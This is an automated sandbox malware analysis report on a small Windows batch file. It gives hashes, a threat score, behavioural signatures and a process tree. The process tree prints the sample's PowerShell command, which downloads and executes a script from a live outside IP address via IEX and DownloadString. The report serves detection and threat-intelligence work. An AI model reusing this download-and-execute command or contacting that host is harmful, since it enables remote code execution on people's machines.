Analysis

  • max time kernel
    115s
  • max time network
    118s
  • platform
    windows10_x64
  • resource
    win10v200410
  • submitted
    18-04-2020 16:10

General

  • Target

    u3CD1fs9.bat

  • Size

    192B

  • MD5

    775b9f9c687e640c4e5a65c9512ef573

  • SHA1

    920bb3ec6c979520acefcb233670b18446ed09e9

  • SHA256

    97b4b68e56ffee83aa062e9f016df1f5c2e280b6df581deec97ced89667e8d1b

  • SHA512

    e41e431075bf6869cfa5b1e90c267545f30bf7548fb91e7d729292b2a20b376553807ff45970250bf53e568cdc894e4482c77e82b98ac8c84403cd31d73b2a69

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/u3CD1fs9

Signatures

  • Program crash 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Makes http(s) request 1 IoCs

    Contacts server via http/https, possibly for C2 communication.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\u3CD1fs9.bat"
    1⤵
      PID:4020
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/u3CD1fs9');Invoke-BJZXVCQKO;Start-Sleep -s 10000"
        2⤵
          PID:3576
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3576 -s 704
            3⤵
            • Program crash
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious behavior: EnumeratesProcesses
            PID:3844

      Network

      MITRE ATT&CK Matrix

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/3844-0-0x0000000004A00000-0x0000000004A01000-memory.dmp

        Filesize

        4KB